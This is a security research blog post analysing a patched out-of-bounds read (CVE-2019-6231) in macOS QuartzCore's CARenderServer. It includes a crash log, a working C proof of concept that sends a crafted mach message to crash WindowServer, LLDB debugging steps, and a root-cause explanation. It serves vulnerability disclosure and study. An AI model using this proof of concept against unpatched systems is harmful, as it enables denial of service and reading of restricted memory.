FortiGuard Labs Threat Research
FortiGuard Labs Threat Analysis
The QuartzCore Out-of-Bounds Read Vulnerability in CA::Render::Decoder::decode_colorspace
On Jan 22, 2019, Apple released macOS Mojave 10.14.3 and iOS 12.1.3. These two updates fixed a number of security vulnerabilities, including CVE-2019-6231 found in QuartzCore (aka. CoreAnimation). (For more details on the Apple updates, please refer to: https://support.apple.com/en-us/HT209446 and https://support.apple.com/en-us/HT209443.)
I found this issue in macOS Mojave 10.14.2 on Dec 14, 2018 and reported it to Apple on Dec 21, 2018. However, Apple responded that said this issue had been fixed in the macOS Mojave 10.14.3 beta that was released on Dec 19, 2018. In this blog I will provide a detailed analysis of this issue on macOS.
Update: I corrected some inaccurate descriptions regarding the root cause of this issue and add the comparation to this vulnerability between before patch and after patch.
A Quick Look
QuartzCore, also known as CoreAnimation, is a framework used by macOS and iOS to create animatable scene graphics. CoreAnimation uses a unique rendering model where the graphics operations are run in a separate process. On macOS, the process is WindowServer. On iOS, the process is backboard.
The service named com.apple.CARenderServer in QuartzCore is usually referenced as CARenderServer. This service exists in both macOS and iOS, and can be accessed from the Safari Sandbox. It lacked an bounds checking in the function CAGetColorSpace when the service com.apple.CARenderServer decoded the color space data. This could allow a malicious application to be able to read restricted memory.
The following is the crash log of the process WindowServer when this issue is triggered.
Process: WindowServer [57329]
Path: /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/Resources/WindowServer
Identifier: WindowServer
Version: 600.00 (337.5)
Code Type: X86-64 (Native)
Parent Process: launchd [1]
Responsible: WindowServer [57329]
User ID: 88
Date/Time: 2018-12-14 16:51:08.093 -0800
OS Version: Mac OS X 10.14.2 (18C54)
Report Version: 12
Anonymous UUID: 0D2EB0AC-26C3-9DBB-CEF0-0060FA5B3A8B
Sleep/Wake UUID: 7F5E9869-8B81-4B2F-8BBC-54048DE83A26
Time Awake Since Boot: 15000 seconds
Time Since Wake: 7000 seconds
System Integrity Protection: disabled
Crashed Thread: 2 com.apple.coreanimation.render-server
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x0000008000000018
Exception Note: EXC_CORPSE_NOTIFY
Termination Signal: Segmentation fault: 11
Termination Reason: Namespace SIGNAL, Code 0xb
Terminating Process: exc handler [57329]
External Modification Warnings:
Thread creation by external task.
Debugger attached to process.
VM Regions Near 0x8000000018:
CoreAnimation 00000001b692e000-00000001bb837000 [ 79.0M] rw-/rw- SM=PRV
-->
STACK GUARD 0000700009f5e000-0000700009f5f000 [ 4K] ---/rwx SM=NUL stack guard for thread 6
Application Specific Information:
StartTime:2018-12-14 16:28:00
GPU:IG
MetalDevice for accelerator(0x3633): 0x7fd12a62bd58 (MTLDevice: 0x7fd12b035c00)
IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/IGPU@2/AppleIntelFramebuffer@0
Thread 0:: Dispatch queue: com.apple.main-thread
0 libsystem_kernel.dylib 0x00007fff762f717a mach_msg_trap + 10
1 libsystem_kernel.dylib 0x00007fff762f76d0 mach_msg + 60
2 com.apple.SkyLight 0x00007fff6f2c95fc run_one_server_pass + 337
3 com.apple.SkyLight 0x00007fff6f2c9436 CGXRunOneServicesPass + 460
4 com.apple.SkyLight 0x00007fff6f2ca0bc server_loop + 96
5 com.apple.SkyLight 0x00007fff6f2ca055 SLXServer + 1149
6 WindowServer 0x000000010d30e4d0 0x10d30d000 + 5328
7 libdyld.dylib 0x00007fff761bded9 start + 1
Thread 1:
0 libsystem_kernel.dylib 0x00007fff762f717a mach_msg_trap + 10
1 libsystem_kernel.dylib 0x00007fff762f76d0 mach_msg + 60
2 com.apple.CoreDisplay 0x00007fff48f09851 0x7fff48e57000 + 731217
3 com.apple.CoreDisplay 0x00007fff48f099af 0x7fff48e57000 + 731567
4 libsystem_pthread.dylib 0x00007fff763b1305 _pthread_body + 126
5 libsystem_pthread.dylib 0x00007fff763b426f _pthread_start + 70
6 libsystem_pthread.dylib 0x00007fff763b0415 thread_start + 13
Thread 2 Crashed:: com.apple.coreanimation.render-server
0 com.apple.CoreFoundation 0x00007fff48f45575 CFRetain + 15
1 com.apple.QuartzCore 0x00007fff540e674f CA::Render::Decoder::decode_colorspace() + 87
2 com.apple.QuartzCore 0x00007fff5411f826 CA::Render::Texture::decode(CA::Render::Decoder*) + 50
3 com.apple.QuartzCore 0x00007fff5400a112 CA::Render::Image::decode(CA::Render::Decoder*) + 1104
4 com.apple.QuartzCore 0x00007fff540e6d33 CA::Render::Decoder::decode_object(CA::Render::Type) + 1075
5 com.apple.QuartzCore 0x00007fff540e6983 CA::Render::Decoder::decode_object(CA::Render::Type) + 131
6 com.apple.QuartzCore 0x00007fff5401d858 CA::Render::Layer::Layer(CA::Render::Decoder*) + 116
7 com.apple.QuartzCore 0x00007fff540e6daf CA::Render::Decoder::decode_object(CA::Render::Type) + 1199
8 com.apple.QuartzCore 0x00007fff540e78a8 CA::Render::decode_commands(CA::Render::Decoder*) + 329
9 com.apple.QuartzCore 0x00007fff5409fb10 CA::Render::Server::ReceivedMessage::run_command_stream() + 748
10 com.apple.QuartzCore 0x00007fff53f90358 CA::Render::Server::server_thread(void*) + 1968
11 com.apple.QuartzCore 0x00007fff53f8fb92 thread_fun(void*) + 25
12 libsystem_pthread.dylib 0x00007fff763b1305 _pthread_body + 126
13 libsystem_pthread.dylib 0x00007fff763b426f _pthread_start + 70
14 libsystem_pthread.dylib 0x00007fff763b0415 thread_start + 13
Thread 3:…….
[truncated]
As can be seen, the crash occured in the thread “com.apple.coreanimation.render-server”. The mach service “com.apple.CARenderServer” is implemented in /System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore. In the function CA::Render::Server::register_name(CA::Render::Server *this, const char *a2) , it is able to register the service “com.apple.CARenderServer”.
The server thread is implemented in the function CA::Render::Server::server_thread. It’s used to receive the mach messages from clients and then handle these messages. When the thread received a mach message with msgh_id 40002 or 40003, this could invoke the function CA::Render::Server::ReceivedMessage::run_command_stream(CA::Render::Server::ReceivedMessage *this) to handle the command stream.
This vulnerability exists right in the process of handling the command stream in the function CA::Render::Server::ReceivedMessage::run_command_stream
Proof of Concept
In this next section I will demonstrate a PoC to trigger this issue. The PoC is shown below.
#include <stdio.h>
#include <mach/i386/kern_return.h>
#include <mach/mach_traps.h>
#include <servers/bootstrap.h>
#include <dirent.h>
#include <sys/stat.h>
#include <time.h>
#include <dlfcn.h>
#include <unistd.h>
typedef struct quartz_register_client_s quartz_register_client_t;
struct quartz_register_client_s {
mach_msg_header_t header;
uint32_t body;
mach_msg_port_descriptor_t ports[4];
char padding[12];
};
typedef struct quartzcore_mach_msg quartzcore_mach_msg_t;
struct quartzcore_mach_msg{
mach_msg_header_t header;
char msg_body[712];
};
uint64_t get_filesize(const char *fn){
struct stat st;
stat(fn, &st);
uint64_t fsize = st.st_size;
return fsize;
};
int main(int argc, const char * argv[]) {
mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;
task_get_bootstrap_port(mach_task_self(), &bs_port);
const char *render_service_name = "com.apple.CARenderServer";
kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) = dlsym(RTLD_DEFAULT, "bootstrap_look_up");
kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);
if (kr != KERN_SUCCESS) {
return -1;
}
printf("[*] Get service of %s successully!\n", render_service_name);
quartz_register_client_t msg_register;
memset(&msg_register, 0, sizeof(msg_register));
msg_register.header.msgh_bits =
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |
MACH_MSGH_BITS_COMPLEX;
msg_register.header.msgh_remote_port = p;
msg_register.header.msgh_local_port = mig_get_reply_port();
msg_register.header.msgh_id = 40202; // _XRegisterClient
msg_register.body = 4;
msg_register.ports[0].name = mach_task_self();
msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[1].name = mach_task_self();
msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[2].name = mach_task_self();
msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[3].name = mach_task_self();
msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;
kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,
sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),
msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
return -1 ;
}
mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);
uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);
printf("[*] context_port: 0x%x, conn_id: 0x%x\n",context_port,conn_id);
char *crash_log = "crash.data"; //size is 736.
FILE *fp = fopen(crash_log, "rb");
if(fp == NULL){
printf("fopen error!\n");
}
uint64_t fsize = get_filesize(crash_log);
void *msg_buf = malloc(fsize);
memset(msg_buf, 0, fsize);
fread(msg_buf, fsize, 1, fp);
quartzcore_mach_msg_t qc_mach_msg = {0};
qc_mach_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
qc_mach_msg.header.msgh_remote_port = context_port;
qc_mach_msg.header.msgh_id = 40002;
memset(qc_mach_msg.msg_body, 0x0, sizeof(qc_mach_msg.msg_body));
*(uint32_t *)(qc_mach_msg.msg_body + 0) = 0x1; // Ports count
memcpy(qc_mach_msg.msg_body+4+12, msg_buf+0x1c+0xc, 736-0x1c-0xc);
*(uint32_t *)(qc_mach_msg.msg_body + 4 + 12 + 4) = conn_id;
kr = mach_msg(&qc_mach_msg.header, MACH_SEND_MSG,736, 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("[-] Send message failed: 0x%d\n", kr);
return -1 ;
}
return 0;
}
The comparation between the original mach message and the crafted mach message is shown below.
Through binary diff, we only need to modify one byte at offset 0x142 from 0x00 to 0x80 in order to trigger this vulnerability.
As shown in the PoC’s C code, in order to send a crafted mach message to trigger this issue, we first need to send a mach message with msgh_id 40202 (the corresponding handler in the server is _XRegisterClient) to retrieve the connection id for every new connected client.
Once we obtain the value of the connection id, we set this value to the corresponding offset(0x2C) in a crafted mach message. Finally, we send this message to trigger the vulnerability.
Analysis and Root of Cause
In this section, I will dynamically debug this vulnerability with LLDB and figure out the root cause. Note that you need to debug the WindowServer process via SSH mode.
Based on the stack backtrace of the crashed thread from the crash log, we could set a conditional breakpoint at the function CA::Render::Server::ReceivedMessage::run_command_stream using the following commands.
br s -n CA::Render::Server::ReceivedMessage::run_command_stream
br mod -c '*(int*)($r13+0x2c) == [conn_id]'
The value of conn_id can be obtained through setting a breakpoint at line 112 in the PoC’s C code.
After this breakpoint is hit, we can read the buffer data of the crafted mach message I sent. The register r13 points to the crafted mach message.
(lldb) c
Process 172 resuming
Process 172 stopped
* thread #3, name = 'com.apple.coreanimation.render-server', stop reason = breakpoint 1.1
frame #0: 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()
QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream:
-> 0x7fff3fca6824 <+0>: pushq %rbp
0x7fff3fca6825 <+1>: movq %rsp, %rbp
0x7fff3fca6828 <+4>: pushq %r15
0x7fff3fca682a <+6>: pushq %r14
Target 0: (WindowServer) stopped.
(lldb) re read
General Purpose Registers:
rax = 0x0000000000000000
rbx = 0x0000000000009c42
rcx = 0x0000000000000002
rdx = 0x000000000000c203
rdi = 0x000070000cc52ca0
rsi = 0x000000000000c203
rbp = 0x000070000cc52ef0
rsp = 0x000070000cc51c78
r8 = 0x000000000001450b
r9 = 0x0000000000000000
r10 = 0x0000000000001000
r11 = 0x0000000000000202
r12 = 0x0000000000000000
r13 = 0x000070000cc51ca0
r14 = 0x00007fff8ece4b20 QuartzCore`CA::Render::Server::_callback_lock
r15 = 0x00007fd93f2f5300
rip = 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()
rflags = 0x0000000000000293
cs = 0x000000000000002b
fs = 0x0000000000000000
gs = 0x0000000000000000
(lldb) x -c 0x2e0 0x000070000cc51ca0
0x70000cc51ca0: 00 11 00 80 e0 02 00 00 00 00 00 00 2f d5 12 00 ....?......./?..
0x70000cc51cb0: 00 00 00 00 42 9c 00 00 01 00 00 00 00 00 00 00 ....B...........
0x70000cc51cc0: 00 00 00 00 00 00 00 00 01 00 00 00 97 9b 35 60 ..............5`
0x70000cc51cd0: 3b fe 27 59 18 ae 77 40 01 f0 9b 00 06 7f 7f 00 ;?'Y.?w@.?......
0x70000cc51ce0: 00 c3 01 00 00 01 30 97 00 06 7f 7f 00 00 c4 01 .?....0.......?.
0x70000cc51cf0: 00 00 02 40 be 30 06 7f 7f 00 00 a5 01 00 00 1c ...@?0.....?....
0x70000cc51d00: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d10: 00 00 ff 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 ..?...??.,?.....
0x70000cc51d20: 00 f0 00 00 00 00 00 68 84 40 00 00 00 00 00 20 .?.....h.@.....
0x70000cc51d30: 7c 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |@..............
0x70000cc51d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 20 ...............
0x70000cc51d60: 00 02 f0 bb 30 06 7f 7f 00 00 a6 01 00 00 1c 02 ..?0.....?.....
0x70000cc51d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d80: 00 ff 00 02 01 c9 e7 03 2c d0 01 04 00 00 00 00 .?...??.,?......
0x70000cc51d90: f0 00 00 00 00 00 40 46 40 00 00 00 00 00 00 22 ?.....@F@......"
0x70000cc51da0: 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @...............
0x70000cc51db0: 00 00 00 00 00 00 40 56 40 00 00 00 00 00 00 32 ......@V@......2
0x70000cc51dc0: 40 fe 60 9d 21 06 7f 7f 00 00 c5 01 00 00 16 00 @?`.!.....?.....
0x70000cc51dd0: 14 01 01 b2 00 00 00 24 00 00 00 00 03 00 00 00 ...?...$........
0x70000cc51de0: 00 00 80 01 fe e0 1d 20 06 7f 7f 00 00 c6 01 00 ....??. .....?..
0x70000cc51df0: 00 2d 39 00 00 6d 00 00 00 00 00 00 00 00 00 00 .-9..m..........
0x70000cc51e00: 00 00 00 00 03 00 00 80 3f 00 00 00 00 00 00 00 ........?.......
0x70000cc51e10: 00 00 00 80 3f 00 00 80 3f 00 00 80 3f 00 00 80 ....?...?...?...
0x70000cc51e20: 3f 00 00 00 00 00 00 00 00 00 00 19 00 20 00 02 ?............ ..
0x70000cc51e30: c0 ba 30 06 7f 7f 00 00 a9 01 00 00 1c 02 00 00 ??0.....?.......
0x70000cc51e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ...............?
0x70000cc51e50: 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 ...??.,?......?.
0x70000cc51e60: 00 00 00 00 64 84 40 00 00 00 00 00 10 77 40 00 ....d.@......w@.
0x70000cc51e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51e80: 00 00 00 00 40 56 40 00 00 00 00 00 00 32 40 00 ....@V@......2@.
0x70000cc51e90: 00 00 00 00 00 00 00 00 00 00 18 00 20 00 02 80 ............ ...
0x70000cc51ea0: b4 30 06 7f 7f 00 00 bf 01 00 00 1c 02 00 00 00 ?0.....?........
0x70000cc51eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 ..............?.
0x70000cc51ec0: 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 ..??.,?......?..
0x70000cc51ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f00: 00 00 00 00 00 00 00 00 00 00 00 20 00 02 90 b1 ........... ...?
0x70000cc51f10: 11 06 7f 7f 00 00 c0 01 00 00 1c 02 00 00 00 00 ......?.........
0x70000cc51f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 01 .............?..
0x70000cc51f30: 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 00 .??.,?......?...
0x70000cc51f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f70: 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 .......... .....
(lldb)
The function CA::Render::Decoder::decode_object(CA::Render::Decoder *this, CA::Render::Decoder *a2) is used to decode all kinds of object data. The buffer data starting at offset 0x70000cc51d6e is a Layer object (marked in green).
The following code branch is used to parse the Layer object data.
Let’s take a look at how this Layer object is handled. The following list explains what each field in the Layer object means.
The implementation of the function CA::Render::Layer::Layer(CA::Render::Layer *this, CA::Render::Decoder *a2) is shown below.
We can see that the next data still represents an object. Next, let’s continue to trace how the next data is handled.
As shown in Figure 8, the next data still represents an object. The first byte in this object indicates the type of object. The byte 0x16 indicates that this object is an Image object, as follows.
Next, let’s look at how the function CA::Render::Image::decode() decodes an Image object.
The following list explains what each field in the Image object means.
We can see that the 8 bytes (00 03 00 00 00 00 00 80) of data is decoded as the size_t type, and its value is set with an abnormal one.
In Figure 10, the variable v9 is equal to 0x8000000000000300, which is passed as an argument to the function CA::Render::validate_rowbytes.
Now let’s take a closer look at how the function CA::Render::validate_rowbytes handles this value.
It’s easy to confirm that the arithmetic operation a2 * *(_QWORD *)(a3 + 8LL * v4) occurs an overflow. At that point, the variable a2 is equal to 0x24 and can be obtained by invoking CA::Render::Decoder::decode_int32(), as shown in Figure 11. So the value of variable v6 is equal to 0 due to an integer overflow. This function could then return 0, causing the change in the next program execution flow. Normally, it should return 1. Let’s go back to Figure 10 to look at the change of execution flow.
Because the function CA::Render::validate_rowbytes returns 0 due to an integer overflow, it could later go to LABEL_31. It could then invoke the function CA::Render::Texture::decode() to decode the next buffer data. The following is the implementation of the function CA::Render::Texture::decode.
It could then invoke the function CA::Render::Decoder::decode_colorspace to decode the color space data.
Let’s take a closer look at this function. It first decodes an integer with int8 type. The result is 0x01. It could then execute the case 1 branch. The value of variable v3 is equal to 0xFE. And the variable v3 is passed as the first argument to the function CAGetColorSpace. The function CAGetColorSpace is used to obtain the color space data from the array colorspaces. Actually, the variable v3 is the index value of this array
The index value is equal to 0xfe, which is actually larger than the maximum index of the array colorspaces, enabling the restricted memory data to be read.
The address of restricted memory to be read is equal to 0x291EE0(0x2916F0+0xFE*8).
So the returned value of the function CAGetColorSpace is equal to 0x8000000010. Obviously, this is an invalid memory address. When this address is passed as an argument to the function CFRetain, it can cause an EXC_BAD_ACCESS exception. The root cause of this issue is that it lacked an restricted bounds checking in the function CAGetColorSpace. Next, let’s look at how Apple fixed this issue.
Conclusion
We have now finished the detailed analysis of this vulnerability. While this vulnerability affects both macOS and iOS, in this blog, I only demonstrated and analyzed it in macOS.
Affected Versions
macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14.2
iPhone 5s and later, iPad Air and later, and iPod touch 6th generation
Reference
https://support.apple.com/en-us/HT209446
https://support.apple.com/en-us/HT209443
https://ssd-disclosure.com/index.php/archives/3796
Learn more about FortiGuard Labs and the FortiGuard Security Services portfolio. Sign up for our weekly FortiGuard Threat Brief.
Know your vulnerabilities – get the facts about your network security. A Fortinet Cyber Threat Assessment can help you better understand: Security and Threat Prevention, User Productivity, and Network Utilization and Performance.
Read about the FortiGuard Security Rating Service, which provides security audits and best practices.